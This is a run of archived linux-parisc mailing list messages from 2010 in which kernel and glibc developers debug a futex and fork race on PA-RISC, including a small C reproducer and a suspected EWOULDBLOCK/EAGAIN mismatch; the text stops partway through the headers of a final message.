Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 07 17:13:55 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NSuzi-0001JV-EA
	for glpp-linux-parisc@lo.gmane.org; Thu, 07 Jan 2010 17:13:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751702Ab0AGQNy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 7 Jan 2010 11:13:54 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752692Ab0AGQNy
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 7 Jan 2010 11:13:54 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:60101 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751702Ab0AGQNx (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 7 Jan 2010 11:13:53 -0500
Original-Received: (qmail invoked by alias); 07 Jan 2010 16:13:51 -0000
Original-Received: from p4FDB2C9D.dip0.t-ipconnect.de (EHLO halden.box) [79.219.44.157]
  by mail.gmx.net (mp067) with SMTP; 07 Jan 2010 17:13:51 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19ZpOkwakBZ1DxhC+JB9dXxBYTcsAFmzp1gkVQ1xd
	apVwnFbZrew3Cz
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091209 Fedora/3.0-3.fc11 Lightning/1.0pre Thunderbird/3.0
In-Reply-To: <20100106233351.0ECE54EB5@hiauly1.hia.nrc.ca>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.5600000000000001
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2563
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2563>

On 01/07/2010 12:33 AM, John David Anglin wrote:
>>> clone(Process 1684 attached (waiting for parent)
>>> Process 1684 resumed (parent 1683 ready)
>>> child_stack=0x4076d040, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tidptr=0x40f6c4e8, tls=0x40f6c900, child_tidptr=0x40f6c4e8) = 1684
>>
>> I noticed the tidptr for the fork may not be correct:
>>
>> clone(child_stack=0x40e87040, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tidptr=0x416864e8, tls=0x41686900, child_tidptr=0x416864e8) = 31613
>> clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x40002028) = 31614
>>
>> I would have thought the value should have been the same as that in the
>> clone from the pthread_create call.
>
> It's possible that this is done intentionally...  The parent_tidptr
> is the one that's wrong in the first clone.
>
> I have noticed something else in the minifail kernel register dumps:
>
> Jan  6 15:54:05 hiauly6 kernel: sr00-03  00000024 0000001b 00000000 00000024
> Jan  6 15:54:05 hiauly6 kernel: sr04-07  00000024 00000024 00000024 00000024
>
> sr1 seems to contain an odd value.  This seems to be the case in all
> minifail register dumps.

IIRC, for me most crashes had sr1=0. Only a very few had sr1 != 0.

> I checked that the sr1 value doesn't belong
> to the child of the fork call.  This might indicate a tlb/cache issue
> as sr1 is used for these operations.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Fri, 8 Jan 2010 11:37:55 -0500 (EST)
Lines: 56
Approved: news@gmane.org
Message-ID: <20100108163756.48BDE5183@hiauly1.hia.nrc.ca>
References: <4B46083D.2030109@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1262968687 15183 80.91.229.12 (8 Jan 2010 16:38:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2010 16:38:07 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 08 17:37:59 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NTHqY-00029V-W5
	for glpp-linux-parisc@lo.gmane.org; Fri, 08 Jan 2010 17:37:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753910Ab0AHQh7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Jan 2010 11:37:59 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753921Ab0AHQh7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 8 Jan 2010 11:37:59 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4934 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753910Ab0AHQh6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Jan 2010 11:37:58 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 48BDE5183; Fri,  8 Jan 2010 11:37:56 -0500 (EST)
In-Reply-To: <4B46083D.2030109@gmx.de> from "Helge Deller" at Jan 7, 2010 05:13:49 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2564
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2564>

> 
> On 01/07/2010 12:33 AM, John David Anglin wrote:
> >>> clone(Process 1684 attached (waiting for parent)
> >>> Process 1684 resumed (parent 1683 ready)
> >>> child_stack=0x4076d040, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tidptr=0x40f6c4e8, tls=0x40f6c900, child_tidptr=0x40f6c4e8) = 1684
> >>
> >> I noticed the tidptr for the fork may not be correct:
> >>
> >> clone(child_stack=0x40e87040, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tidptr=0x416864e8, tls=0x41686900, child_tidptr=0x416864e8) = 31613
> >> clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x40002028) = 31614
> >>
> >> I would have thought the value should have been the same as that in the
> >> clone from the pthread_create call.
> >
> > It's possible that this is done intentionally...  The parent_tidptr
> > is the one that's wrong in the first clone.

I now think this probably is a glibc bug.  The kernel uses this value
when the CLONE_PARENT_SETTID flag is passed.

> > I have noticed something else in the minifail kernel register dumps:
> >
> > Jan  6 15:54:05 hiauly6 kernel: sr00-03  00000024 0000001b 00000000 00000024
> > Jan  6 15:54:05 hiauly6 kernel: sr04-07  00000024 00000024 00000024 00000024
> >
> > sr1 seems to contain an odd value.  This seems to be the case in all
> > minifail register dumps.
> 
> IIRC, for me most crashes had sr1=0. Only a very few had sr1 != 0.
> 
> > I checked that the sr1 value doesn't belong
> > to the child of the fork call.  This might indicate a tlb/cache issue
> > as sr1 is used for these operations.

I added some loops in the parent and child threads.  I also added code
in the child thread to watch the return point location on the stack
for start_thread.  What I found is the stack gets overwritten after
the thread has started.  At the same time, the parent is looping
post fork.

So, the problem has to be with fork (i.e., its not with pthread_join
or pthread_exit).  Still think the problem involves sr1 (it's unusual
the sr1 contains a value that's not the user or kernel values).

I played with saving sr1 in some additional places (tlb and cache
flushing) but this didn't alter things.  Haven't played with pa_memcpy.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Fri, 8 Jan 2010 16:17:32 -0500 (EST)
Lines: 76
Approved: news@gmane.org
Message-ID: <20100108211733.852134EF4@hiauly1.hia.nrc.ca>
References: <20100108163756.48BDE5183@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1262985468 8486 80.91.229.12 (8 Jan 2010 21:17:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2010 21:17:48 +0000 (UTC)
Cc: deller@gmx.de, dave.anglin@nrc-cnrc.gc.ca, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 08 22:17:37 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NTMDA-000404-9V
	for glpp-linux-parisc@lo.gmane.org; Fri, 08 Jan 2010 22:17:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754071Ab0AHVRg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Jan 2010 16:17:36 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754079Ab0AHVRg
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 8 Jan 2010 16:17:36 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4952 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754071Ab0AHVRf (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Jan 2010 16:17:35 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 852134EF4; Fri,  8 Jan 2010 16:17:33 -0500 (EST)
In-Reply-To: <20100108163756.48BDE5183@hiauly1.hia.nrc.ca> from "John David Anglin" at Jan 8, 2010 11:37:55 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2565
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2565>

> I added some loops in the parent and child threads.  I also added code
> in the child thread to watch the return point location on the stack
> for start_thread.  What I found is the stack gets overwritten after
> the thread has started.  At the same time, the parent is looping
> post fork.

More debugging.  It seems bad news to have more than one clone
syscall active at a time.  The thread child may still be in the kernel
when the fork syscall is made by the parent.  The testcase doesn't
fail if the parent waits for the child thread to start.  See below.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

/*
  http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=561203

  clone(child_stack=0x4088d040, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tidptr=0x4108c4e8, tls=0x4108c900, child_tidptr=0x4108c4e8) = 14819
[pid 14819] set_robust_list(0x4108c4f0, 0xc) = 0
[pid 14818] clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x40002028) = 14820

 g++  minifail.cpp -o minifail -O0 -pthread -g

 i=0; while true; do i=$(($i+1)); echo Run $i; ./minifail; done;

 */

static volatile int run;

void* thread_run(void* arg) {
	static long status;
	int i;
        
	run = 1;
	pthread_yield();
	for (i = 10000000; i; i--)
	   continue;
	write(1,"Thread OK.\n",11);
	return (void *)&status;
}

int pure_test() {
	pthread_t thread;
	pthread_create(&thread, NULL, thread_run, NULL);

	while (!run)
	  continue;
	switch (fork()) {
		case -1:
			perror("fork() failed");
		case 0:
			write(1,"Child OK.\n",10);
			_exit(0);
		default:
			break;
		
	}
	pthread_join(thread, NULL);
	return 0;
}

int main(int argc, char** argv) {
	return pure_test();
}
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Fri, 08 Jan 2010 22:18:40 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <4B47A130.8060603@gmx.de>
References: <20100108163756.48BDE5183@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1262985532 8656 80.91.229.12 (8 Jan 2010 21:18:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2010 21:18:52 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 08 22:18:44 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NTMEF-0004OG-U3
	for glpp-linux-parisc@lo.gmane.org; Fri, 08 Jan 2010 22:18:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754081Ab0AHVSo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Jan 2010 16:18:44 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754082Ab0AHVSo
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 8 Jan 2010 16:18:44 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:35722 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1754081Ab0AHVSn (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Jan 2010 16:18:43 -0500
Original-Received: (qmail invoked by alias); 08 Jan 2010 21:18:42 -0000
Original-Received: from p4FDB2C31.dip0.t-ipconnect.de (EHLO halden.box) [79.219.44.49]
  by mail.gmx.net (mp018) with SMTP; 08 Jan 2010 22:18:42 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19zZJN0OdhzMLds9lfAnSe37WHIGfgTifvB5qnJVn
	F1H9AgU82UTXAT
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091209 Fedora/3.0-3.fc11 Lightning/1.0pre Thunderbird/3.0
In-Reply-To: <20100108163756.48BDE5183@hiauly1.hia.nrc.ca>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.53
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2566
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2566>

On 01/08/2010 05:37 PM, John David Anglin wrote:
>>
>> On 01/07/2010 12:33 AM, John David Anglin wrote:
>>>>> clone(Process 1684 attached (waiting for parent)
>>>>> Process 1684 resumed (parent 1683 ready)
>>>>> child_stack=0x4076d040, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tidptr=0x40f6c4e8, tls=0x40f6c900, child_tidptr=0x40f6c4e8) = 1684
>>>>
>>>> I noticed the tidptr for the fork may not be correct:
>>>>
>>>> clone(child_stack=0x40e87040, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tidptr=0x416864e8, tls=0x41686900, child_tidptr=0x416864e8) = 31613
>>>> clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x40002028) = 31614
>>>>
>>>> I would have thought the value should have been the same as that in the
>>>> clone from the pthread_create call.
>>>
>>> It's possible that this is done intentionally...  The parent_tidptr
>>> is the one that's wrong in the first clone.
>
> I now think this probably is a glibc bug.  The kernel uses this value
> when the CLONE_PARENT_SETTID flag is passed.


Maybe we have a futex problem in glibc on hppa?
In glibc nptl/pthread_mutex_trylock.c we check the return value of a futex syscall against EWOULDBLOCK.
Since on parisc - in contrast to all other architectures - we have EWOULDBLOCK!=EAGAIN, we maybe missed a check?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Fri, 8 Jan 2010 16:43:46 -0500 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <20100108214346.CEB465160@hiauly1.hia.nrc.ca>
References: <4B47A130.8060603@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1262987037 13735 80.91.229.12 (8 Jan 2010 21:43:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2010 21:43:57 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 08 22:43:49 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NTMcW-0005ly-Q2
	for glpp-linux-parisc@lo.gmane.org; Fri, 08 Jan 2010 22:43:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752458Ab0AHVnt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Jan 2010 16:43:49 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753871Ab0AHVnt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 8 Jan 2010 16:43:49 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4958 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752458Ab0AHVns (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Jan 2010 16:43:48 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id CEB465160; Fri,  8 Jan 2010 16:43:46 -0500 (EST)
In-Reply-To: <4B47A130.8060603@gmx.de> from "Helge Deller" at Jan 8, 2010 10:18:40 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2567
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2567>

> Maybe we have a futex problem in glibc on hppa?
> In glibc nptl/pthread_mutex_trylock.c we check the return value of a futex syscall against EWOULDBLOCK.
> Since on parisc - in contrast to all other architectures - we have EWOULDBLOCK!=EAGAIN, we maybe missed a check?

That's a very interesting observation!  The manpage doesn't say
EWOULDBLOCK is a valid error return for FUTEX(2).  I wonder is there
are more slips like this.  It looks like the same bug is present in
nptl/sysdeps/unix/sysv/linux/sem_wait.c and
nptl/sysdeps/unix/sysv/linux/sem_timedwait.c.

This might explain my previous mail.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Fri, 8 Jan 2010 16:44:15 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <119aab441001081344j38000314p1931df34149eabd3@mail.gmail.com>
References: <20100108163756.48BDE5183@hiauly1.hia.nrc.ca>
	 <4B47A130.8060603@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1262987078 13858 80.91.229.12 (8 Jan 2010 21:44:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2010 21:44:38 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 08 22:44:31 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NTMdC-00063H-Ea
	for glpp-linux-parisc@lo.gmane.org; Fri, 08 Jan 2010 22:44:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754027Ab0AHVoV convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Jan 2010 16:44:21 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754145Ab0AHVoU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 8 Jan 2010 16:44:20 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:62863 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754027Ab0AHVoS convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Jan 2010 16:44:18 -0500
Original-Received: by bwz27 with SMTP id 27so12432552bwz.21
        for <linux-parisc@vger.kernel.org>; Fri, 08 Jan 2010 13:44:17 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=wU1z0l/2BUcIZ7nYWlzFeciRGOJYUiUam3UzQGgUJnA=;
        b=cRQ+NtEDtFN4FSdfARp35EX6+DAe2D7FZdyaktuEvA2wbXeMIDpLLgK6S59S0NK1AG
         597EiyjanoklTlxN3xAc97w/adwAStdPT7PlfQOOpIbZad29C7KIVSvnTRq79DspjdW8
         6ChS7HOTj0OzOX8Qz9f77nqG4BDcJVxPi3oSQ=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=BeiyfqmhK3FOdM2ujS8baHqljiQfaDCA5L2yzujdUAtJD6o97droWVU8Eoosd/mrhf
         yoxIot5ZMNkSAuSwTdRcWGCuz49tUcMvmQucAo2h90mCuK3NsXW/qvsT4kA5zNtG2e/R
         vXc6Emqd5s0aorPniOKwWz+43eN0X4e8UQ4Yo=
Original-Received: by 10.204.24.83 with SMTP id u19mr1332730bkb.22.1262987056519; Fri, 
	08 Jan 2010 13:44:16 -0800 (PST)
In-Reply-To: <4B47A130.8060603@gmx.de>
X-Google-Sender-Auth: 86666a874ab33b01
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2568
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2568>

On Fri, Jan 8, 2010 at 4:18 PM, Helge Deller <deller@gmx.de> wrote:
>> I now think this probably is a glibc bug. =A0The kernel uses this va=
lue
>> when the CLONE_PARENT_SETTID flag is passed.
>
>
> Maybe we have a futex problem in glibc on hppa?
> In glibc nptl/pthread_mutex_trylock.c we check the return value of a =
futex
> syscall against EWOULDBLOCK.
> Since on parisc - in contrast to all other architectures - we have
> EWOULDBLOCK!=3DEAGAIN, we maybe missed a check?

That's a bug. There are several kernel paths that could return EAGAIN
*or* EWOULDBLOCK via the FUTEX_TRYLOCK_PI futex operation.

However, I think Dave is on to something with the

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Fri, 8 Jan 2010 16:44:51 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <119aab441001081344i7eb3c3f3s9c22eeaecf4d0e1a@mail.gmail.com>
References: <20100108163756.48BDE5183@hiauly1.hia.nrc.ca>
	 <4B47A130.8060603@gmx.de>
	 <119aab441001081344j38000314p1931df34149eabd3@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1262987102 13970 80.91.229.12 (8 Jan 2010 21:45:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2010 21:45:02 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 08 22:44:54 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NTMdZ-0006Dm-VG
	for glpp-linux-parisc@lo.gmane.org; Fri, 08 Jan 2010 22:44:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752458Ab0AHVoy convert rfc822-to-quoted-printable (ORCPT
